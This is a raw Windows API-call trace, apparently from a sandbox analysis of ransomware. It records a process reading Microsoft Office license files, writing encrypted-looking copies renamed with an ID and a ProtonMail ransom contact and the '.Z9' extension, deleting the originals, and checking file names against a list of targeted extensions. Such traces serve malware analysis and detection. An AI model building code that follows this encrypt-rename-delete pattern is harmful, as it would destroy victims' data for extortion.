	[0183.604] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.605] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0183.605] SetEndOfFile (hFile=0x540) returned 1
	[0183.605] CloseHandle (hObject=0x540) returned 1
	[0183.605] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.605] SetEndOfFile (hFile=0x53c) returned 1
	[0183.608] CloseHandle (hObject=0x53c) returned 1
	[0183.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0183.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".doc") returned 4
	[0183.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".docx") returned 5
	[0183.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.610] lstrlenW (lpString=".pdf") returned 4
	[0183.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".xls") returned 4
	[0183.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".xlsx") returned 5
	[0183.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.610] lstrlenW (lpString=".ppt") returned 4
	[0183.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".zip") returned 4
	[0183.610] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".rar") returned 4
	[0183.610] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".bz2") returned 4
	[0183.610] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString=".7z") returned 3
	[0183.610] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".dbf") returned 4
	[0183.610] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".1cd") returned 4
	[0183.610] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".jpg") returned 4
	[0183.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.610] lstrlenW (lpString=".doc") returned 4
	[0183.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".docx") returned 5
	[0183.611] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.611] lstrlenW (lpString=".pdf") returned 4
	[0183.611] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".xls") returned 4
	[0183.611] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".xlsx") returned 5
	[0183.611] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.611] lstrlenW (lpString=".ppt") returned 4
	[0183.611] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.611] lstrlenW (lpString=".zip") returned 4
	[0183.611] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".rar") returned 4
	[0183.611] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".bz2") returned 4
	[0183.611] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString=".7z") returned 3
	[0183.611] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.611] lstrlenW (lpString=".dbf") returned 4
	[0183.611] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.611] lstrlenW (lpString=".1cd") returned 4
	[0183.611] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0183.611] lstrlenW (lpString=".jpg") returned 4
	[0183.611] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.611] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.611] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23
	[0183.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.612] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=26459) returned 1
	[0183.613] CloseHandle (hObject=0x53c) returned 1
	[0183.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220
	[0183.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.614] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.614] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0183.615] GetLastError () returned 0x0
	[0183.615] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x675b, lpOverlapped=0x0) returned 1
	[0183.617] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0183.619] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.619] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x102, lpOverlapped=0x0) returned 1
	[0183.619] SetEndOfFile (hFile=0x540) returned 1
	[0183.619] CloseHandle (hObject=0x540) returned 1
	[0183.619] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.619] SetEndOfFile (hFile=0x53c) returned 1
	[0183.622] CloseHandle (hObject=0x53c) returned 1
	[0183.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1
	[0183.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".doc") returned 4
	[0183.624] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".docx") returned 5
	[0183.624] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.624] lstrlenW (lpString=".pdf") returned 4
	[0183.624] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".xls") returned 4
	[0183.624] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".xlsx") returned 5
	[0183.624] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.624] lstrlenW (lpString=".ppt") returned 4
	[0183.624] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".zip") returned 4
	[0183.624] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".rar") returned 4
	[0183.624] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".bz2") returned 4
	[0183.624] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString=".7z") returned 3
	[0183.624] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".dbf") returned 4
	[0183.624] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".1cd") returned 4
	[0183.624] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".jpg") returned 4
	[0183.624] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.624] lstrlenW (lpString=".doc") returned 4
	[0183.624] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".docx") returned 5
	[0183.625] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.625] lstrlenW (lpString=".pdf") returned 4
	[0183.625] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".xls") returned 4
	[0183.625] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".xlsx") returned 5
	[0183.625] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.625] lstrlenW (lpString=".ppt") returned 4
	[0183.625] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.625] lstrlenW (lpString=".zip") returned 4
	[0183.625] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".rar") returned 4
	[0183.625] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".bz2") returned 4
	[0183.625] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString=".7z") returned 3
	[0183.625] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.625] lstrlenW (lpString=".dbf") returned 4
	[0183.625] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.625] lstrlenW (lpString=".1cd") returned 4
	[0183.625] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0183.625] lstrlenW (lpString=".jpg") returned 4
	[0183.625] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.626] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.626] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26
	[0183.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.627] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11589) returned 1
	[0183.627] CloseHandle (hObject=0x53c) returned 1
	[0183.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220
	[0183.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.627] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.628] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0183.863] GetLastError () returned 0x0
	[0183.863] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0183.865] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.867] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.867] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x108, lpOverlapped=0x0) returned 1
	[0183.867] SetEndOfFile (hFile=0x540) returned 1
	[0183.867] CloseHandle (hObject=0x540) returned 1
	[0183.867] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.867] SetEndOfFile (hFile=0x53c) returned 1
	[0183.870] CloseHandle (hObject=0x53c) returned 1
	[0183.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.043] lstrlenW (lpString=".doc") returned 4
	[0184.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".docx") returned 5
	[0184.044] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.044] lstrlenW (lpString=".pdf") returned 4
	[0184.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".xls") returned 4
	[0184.044] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".xlsx") returned 5
	[0184.044] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.044] lstrlenW (lpString=".ppt") returned 4
	[0184.044] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString=".zip") returned 4
	[0184.044] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".rar") returned 4
	[0184.044] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".bz2") returned 4
	[0184.044] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".7z") returned 3
	[0184.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString=".dbf") returned 4
	[0184.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString=".1cd") returned 4
	[0184.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString=".jpg") returned 4
	[0184.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.044] lstrlenW (lpString=".doc") returned 4
	[0184.044] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.044] lstrlenW (lpString=".docx") returned 5
	[0184.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.045] lstrlenW (lpString=".pdf") returned 4
	[0184.045] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString=".xls") returned 4
	[0184.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString=".xlsx") returned 5
	[0184.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.045] lstrlenW (lpString=".ppt") returned 4
	[0184.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.045] lstrlenW (lpString=".zip") returned 4
	[0184.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString=".rar") returned 4
	[0184.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString=".bz2") returned 4
	[0184.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString=".7z") returned 3
	[0184.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.045] lstrlenW (lpString=".dbf") returned 4
	[0184.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.045] lstrlenW (lpString=".1cd") returned 4
	[0184.045] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0184.045] lstrlenW (lpString=".jpg") returned 4
	[0184.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.045] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.045] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34
	[0184.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.046] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11616) returned 1
	[0184.046] CloseHandle (hObject=0x540) returned 1
	[0184.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0184.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.047] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.047] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
